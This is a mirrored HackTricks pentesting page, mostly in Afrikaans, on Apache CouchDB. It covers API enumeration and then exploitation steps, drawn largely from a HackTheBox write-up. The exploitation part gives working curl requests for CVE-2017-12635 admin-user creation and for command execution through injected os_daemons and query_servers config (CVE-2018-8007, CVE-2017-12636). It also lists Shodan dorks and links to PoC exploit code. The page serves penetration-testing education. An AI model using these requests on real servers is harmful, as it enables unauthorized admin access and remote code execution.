mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
221 lines
16 KiB
Markdown
221 lines
16 KiB
Markdown
# 5984,6984 - Pentesting CouchDB
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## **Basiese Inligting**
|
|
|
|
**CouchDB** is 'n veelsydige en kragtige **dokument-georiënteerde databasis** wat data organiseer met 'n **sleutel-waarde kaart** struktuur binne elke **dokument**. Velde binne die dokument kan voorgestel word as **sleutel/waarde pare, lyste, of kaarte**, wat buigsaamheid in data stoor en onttrekking bied.
|
|
|
|
Elke **dokument** wat in CouchDB gestoor word, word 'n **unieke identifiseerder** (`_id`) op dokumentvlak toegeken. Boonop word elke wysiging wat gemaak en in die databasis gestoor word, 'n **hervisienommer** (`_rev`) toegeken. Hierdie revisienommer maak doeltreffende **opsporing en bestuur van veranderinge** moontlik, wat maklike onttrekking en sinchronisasie van data binne die databasis vergemaklik.
|
|
|
|
**Standaard poort:** 5984(http), 6984(https)
|
|
```
|
|
PORT STATE SERVICE REASON
|
|
5984/tcp open unknown syn-ack
|
|
```
|
|
## **Outomatiese Enumerasie**
|
|
```bash
|
|
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
|
|
msf> use auxiliary/scanner/couchdb/couchdb_enum
|
|
```
|
|
## Handmatige Enumerasie
|
|
|
|
### Banner
|
|
```
|
|
curl http://IP:5984/
|
|
```
|
|
Dit stuur 'n GET-versoek na die geïnstalleerde CouchDB-instantie. Die antwoord moet soos een van die volgende lyk:
|
|
```bash
|
|
{"couchdb":"Welcome","version":"0.10.1"}
|
|
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
|
```
|
|
> [!NOTE]
|
|
> Let daarop dat as jy toegang tot die wortel van couchdb verkry, jy 'n `401 Unauthorized` ontvang met iets soos: `{"error":"unauthorized","reason":"Authentication required."}` **jy sal nie in staat wees om** die banner of enige ander eindpunt te bekom nie.
|
|
|
|
### Inligting Enumerasie
|
|
|
|
Dit is die eindpunte waar jy toegang kan verkry met 'n **GET** versoek en interessante inligting kan onttrek. Jy kan [**meer eindpunte en meer gedetailleerde beskrywings in die couchdb dokumentasie vind**](https://docs.couchdb.org/en/latest/api/index.html).
|
|
|
|
- **`/_active_tasks`** Lys van lopende take, insluitend die taak tipe, naam, status en proses ID.
|
|
- **`/_all_dbs`** Retourneer 'n lys van al die databasisse in die CouchDB instansie.
|
|
- **`/_cluster_setup`** Retourneer die status van die node of kluster, volgens die kluster opstelling wizard.
|
|
- **`/_db_updates`** Retourneer 'n lys van al die databasis gebeurtenisse in die CouchDB instansie. Die bestaan van die `_global_changes` databasis is vereis om hierdie eindpunt te gebruik.
|
|
- **`/_membership`** Vertoon die nodes wat deel van die kluster is as `cluster_nodes`. Die veld `all_nodes` vertoon al die nodes waarvan hierdie node weet, insluitend diegene wat deel van die kluster is.
|
|
- **`/_scheduler/jobs`** Lys van replikaasietake. Elke taak beskrywing sal bron en teiken inligting insluit, replikaasie id, 'n geskiedenis van onlangse gebeurtenisse, en 'n paar ander dinge.
|
|
- **`/_scheduler/docs`** Lys van replikaasie dokument state. Sluit inligting in oor al die dokumente, selfs in `completed` en `failed` state. Vir elke dokument retourneer dit die dokument ID, die databasis, die replikaasie ID, bron en teiken, en ander inligting.
|
|
- **`/_scheduler/docs/{replicator_db}`**
|
|
- **`/_scheduler/docs/{replicator_db}/{docid}`**
|
|
- **`/_node/{node-name}`** Die `/_node/{node-name}` eindpunt kan gebruik word om die Erlang node naam van die bediener wat die versoek verwerk te bevestig. Dit is die nuttigste wanneer jy toegang tot `/_node/_local` verkry om hierdie inligting te verkry.
|
|
- **`/_node/{node-name}/_stats`** Die `_stats` hulpbron retourneer 'n JSON objek wat die statistieke vir die lopende bediener bevat. Die letterlike string `_local` dien as 'n alias vir die plaaslike node naam, so vir al die statistiek URL's, kan `{node-name}` vervang word met `_local`, om met die plaaslike node se statistieke te kommunikeer.
|
|
- **`/_node/{node-name}/_system`** Die \_system hulpbron retourneer 'n JSON objek wat verskeie stelselniveau statistieke vir die lopende bediener bevat. Jy kan \_\_`_local` as {node-name} gebruik om huidige node inligting te verkry.
|
|
- **`/_node/{node-name}/_restart`**
|
|
- **`/_up`** Bevestig dat die bediener aan is, loop, en gereed is om op versoeke te reageer. As [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) `true` of `nolb` is, sal die eindpunt 'n 404 antwoord teruggee.
|
|
- **`/_uuids`** Versoek een of meer Universally Unique Identifiers (UUIDs) van die CouchDB instansie.
|
|
- **`/_reshard`** Retourneer 'n telling van voltooide, mislukte, lopende, gestopte, en totale take saam met die toestand van herskakeling op die kluster.
|
|
|
|
Meer interessante inligting kan onttrek word soos hier verduidelik: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
|
|
|
### **Databasis Lys**
|
|
```
|
|
curl -X GET http://IP:5984/_all_dbs
|
|
```
|
|
As die versoek **antwoord gee met 'n 401 nie-geautoriseer**, dan het jy **geldige akrediteer** nodig om toegang tot die databasis te verkry:
|
|
```
|
|
curl -X GET http://user:password@IP:5984/_all_dbs
|
|
```
|
|
Om geldige Kredensiale te vind, kan jy **probeer om** [**die diens te bruteforce**](../generic-hacking/brute-force.md#couchdb).
|
|
|
|
Dit is 'n **voorbeeld** van 'n couchdb **antwoord** wanneer jy **genoeg regte** het om databasisse te lys (Dit is net 'n lys van dbs):
|
|
```bash
|
|
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
|
```
|
|
### Databasis Inligting
|
|
|
|
Jy kan 'n paar databasisinligting verkry (soos aantal lêers en groottes) deur toegang te verkry tot die databasisnaam:
|
|
```bash
|
|
curl http://IP:5984/<database>
|
|
curl http://localhost:5984/simpsons
|
|
#Example response:
|
|
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
|
|
```
|
|
### **Dokumentlys**
|
|
|
|
Lys elke inskrywing binne 'n databasis
|
|
```bash
|
|
curl -X GET http://IP:5984/{dbname}/_all_docs
|
|
curl http://localhost:5984/simpsons/_all_docs
|
|
#Example response:
|
|
{"total_rows":7,"offset":0,"rows":[
|
|
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
|
|
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
|
|
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
|
|
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
|
|
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
|
|
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
|
|
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
|
|
]}
|
|
```
|
|
### **Lees Dokument**
|
|
|
|
Lees die inhoud van 'n dokument binne 'n databasis:
|
|
```bash
|
|
curl -X GET http://IP:5984/{dbname}/{id}
|
|
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
|
#Example response:
|
|
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
|
|
```
|
|
## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
|
|
|
Dankie aan die verskille tussen Erlang en JavaScript JSON parsers kan jy **'n admin gebruiker skep** met die geloofsbriewe `hacktricks:hacktricks` met die volgende versoek:
|
|
```bash
|
|
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
|
```
|
|
[**Meer inligting oor hierdie kwesbaarheid hier**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
|
|
|
|
## CouchDB RCE
|
|
|
|
### **Erlang Koekie Sekuriteit Oorsig**
|
|
|
|
Voorbeeld [van hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
|
|
|
In die CouchDB dokumentasie, spesifiek in die afdeling wat cluster opstelling betref ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), word die gebruik van poorte deur CouchDB in 'n kluster modus bespreek. Daar word genoem dat, soos in die standalone modus, poort `5984` gebruik word. Boonop is poort `5986` vir node-lokale API's, en belangrik, Erlang vereis TCP poort `4369` vir die Erlang Port Mapper Daemon (EPMD), wat node kommunikasie binne 'n Erlang kluster fasiliteer. Hierdie opstelling vorm 'n netwerk waar elke node met elke ander node verbind is.
|
|
|
|
'n Belangrike sekuriteitsadvies word beklemtoon rakende poort `4369`. As hierdie poort oor die Internet of enige onbetroubare netwerk toeganklik gemaak word, hang die stelselsekuriteit sterk af van 'n unieke identifiseerder bekend as die "koekie." Hierdie koekie dien as 'n beskerming. Byvoorbeeld, in 'n gegewe proseslys, kan die koekie met die naam "monster" waargeneem word, wat sy operasionele rol in die stelselsekuriteitsraamwerk aandui.
|
|
```
|
|
www-data@canape:/$ ps aux | grep couchdb
|
|
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
|
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
|
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
|
```
|
|
Vir diegene wat belangstel om te verstaan hoe hierdie "cookie" vir Remote Code Execution (RCE) binne die konteks van Erlang-stelsels uitgebuit kan word, is daar 'n toegewyde afdeling beskikbaar vir verdere lees. Dit beskryf die metodologieë om Erlang-cookies op ongeoorloofde maniere te benut om beheer oor stelsels te verkry. U kan [**die gedetailleerde gids oor die misbruik van Erlang-cookies vir RCE hier verken**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce).
|
|
|
|
### **Die uitbuiting van CVE-2018-8007 deur die wysiging van local.ini**
|
|
|
|
Voorbeeld [van hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
|
|
|
'n Onlangs bekendgemaakte kwesbaarheid, CVE-2018-8007, wat Apache CouchDB raak, is ondersoek, en dit het getoon dat uitbuiting skryfrechten tot die `local.ini`-lêer vereis. Alhoewel dit nie direk van toepassing is op die aanvanklike teikenstelsel nie weens sekuriteitsbeperkings, is wysigings aangebring om skryfrechten aan die `local.ini`-lêer toe te ken vir verkenningsdoeleindes. Gedetailleerde stappe en kodevoorbeelde word hieronder verskaf, wat die proses demonstreer.
|
|
|
|
Eerstens word die omgewing voorberei deur te verseker dat die `local.ini`-lêer skryfbaar is, wat geverifieer word deur die regte te lys:
|
|
```bash
|
|
root@canape:/home/homer/etc# ls -l
|
|
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
|
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
|
|
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
|
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
|
```
|
|
Om die kwesbaarheid te benut, word 'n curl-opdrag uitgevoer, wat die `cors/origins` konfigurasie in `local.ini` teiken. Dit spuit 'n nuwe oorsprong in saam met addisionele opdragte onder die `[os_daemons]` afdeling, met die doel om arbitrêre kode uit te voer:
|
|
```bash
|
|
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
|
```
|
|
Subsequent verification shows the injected configuration in `local.ini`, contrasting it with a backup to highlight the changes:
|
|
```bash
|
|
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
|
119,124d118
|
|
< [cors]
|
|
< origins = 0xdf
|
|
< [os_daemons]
|
|
< test_daemon = /usr/bin/touch /tmp/0xdf
|
|
```
|
|
In die begin bestaan die verwagte lêer (`/tmp/0xdf`) nie, wat aandui dat die ingespotte opdrag nog nie uitgevoer is nie. Verdere ondersoek toon dat prosesse wat met CouchDB verband hou, aan die gang is, insluitend een wat moontlik die ingespotte opdrag kan uitvoer:
|
|
```bash
|
|
root@canape:/home/homer/bin# ps aux | grep couch
|
|
```
|
|
Deur die geïdentifiseerde CouchDB-proses te beëindig en die stelsel toe te laat om dit outomaties te herbegin, word die uitvoering van die ingespoten opdrag geaktiveer, bevestig deur die bestaan van die voorheen ontbrekende lêer:
|
|
```bash
|
|
root@canape:/home/homer/etc# kill 711
|
|
root@canape:/home/homer/etc# ls /tmp/0xdf
|
|
/tmp/0xdf
|
|
```
|
|
Hierdie verkenning bevestig die lewensvatbaarheid van CVE-2018-8007 uitbuiting onder spesifieke toestande, veral die vereiste vir skryfbare toegang tot die `local.ini`-lêer. Die verskafde kodevoorbeelde en prosedurele stappe bied 'n duidelike gids vir die replisering van die uitbuiting in 'n beheerde omgewing.
|
|
|
|
Vir meer besonderhede oor CVE-2018-8007, verwys na die advies deur mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
|
|
|
|
### **Verkenning van CVE-2017-12636 met Skryftoestemmings op local.ini**
|
|
|
|
Voorbeeld [van hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
|
|
|
'n Kwetsbaarheid bekend as CVE-2017-12636 is verken, wat kode-uitvoering via die CouchDB-proses moontlik maak, alhoewel spesifieke konfigurasies die uitbuiting daarvan kan voorkom. Ten spyte van talle Bewys van Konsep (POC) verwysings wat aanlyn beskikbaar is, is aanpassings nodig om die kwesbaarheid op CouchDB weergawe 2 uit te buit, wat verskil van die algemeen geteikende weergawe 1.x. Die aanvanklike stappe behels die verifikasie van die CouchDB-weergawe en die bevestiging van die afwesigheid van die verwagte navraagbedienerspad:
|
|
```bash
|
|
curl http://localhost:5984
|
|
curl http://0xdf:df@localhost:5984/_config/query_servers/
|
|
```
|
|
Om CouchDB weergawe 2.0 te akkommodeer, word 'n nuwe pad gebruik:
|
|
```bash
|
|
curl 'http://0xdf:df@localhost:5984/_membership'
|
|
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
|
```
|
|
Pogings om 'n nuwe navraagbediener by te voeg en aan te roep, is gekonfronteer met toestemming-verwante foute, soos aangedui deur die volgende uitvoer:
|
|
```bash
|
|
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
|
```
|
|
Verdere ondersoek het toestemmingkwessies met die `local.ini` lêer, wat nie skryfbaar was nie. Deur die lêer se toestemmings met root of homer toegang te wysig, het dit moontlik geword om voort te gaan:
|
|
```bash
|
|
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
|
chmod 666 /home/homer/etc/local.ini
|
|
```
|
|
Subsequent pogings om die navraag bediener by te voeg, was suksesvol, soos aangetoon deur die gebrek aan foutboodskappe in die antwoord. Die suksesvolle wysiging van die `local.ini` lêer is bevestig deur lêervergelyking:
|
|
```bash
|
|
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
|
```
|
|
Die proses het voortgegaan met die skep van 'n databasis en 'n dokument, gevolg deur 'n poging om kode uit te voer via 'n pasgemaakte weergawe wat na die nuut bygevoegde navraagbediener kaart.
|
|
```bash
|
|
curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
|
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
|
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
|
|
```
|
|
'n [**opsomming**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) met 'n alternatiewe payload bied verdere insigte in die benutting van CVE-2017-12636 onder spesifieke omstandighede. **Nuttige hulpbronne** vir die benutting van hierdie kwesbaarheid sluit in:
|
|
|
|
- [POC exploit kode](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
|
- [Exploit Database inskrywing](https://www.exploit-db.com/exploits/44913/)
|
|
|
|
## Shodan
|
|
|
|
- `port:5984 couchdb`
|
|
|
|
## Verwysings
|
|
|
|
- [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
|
- [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|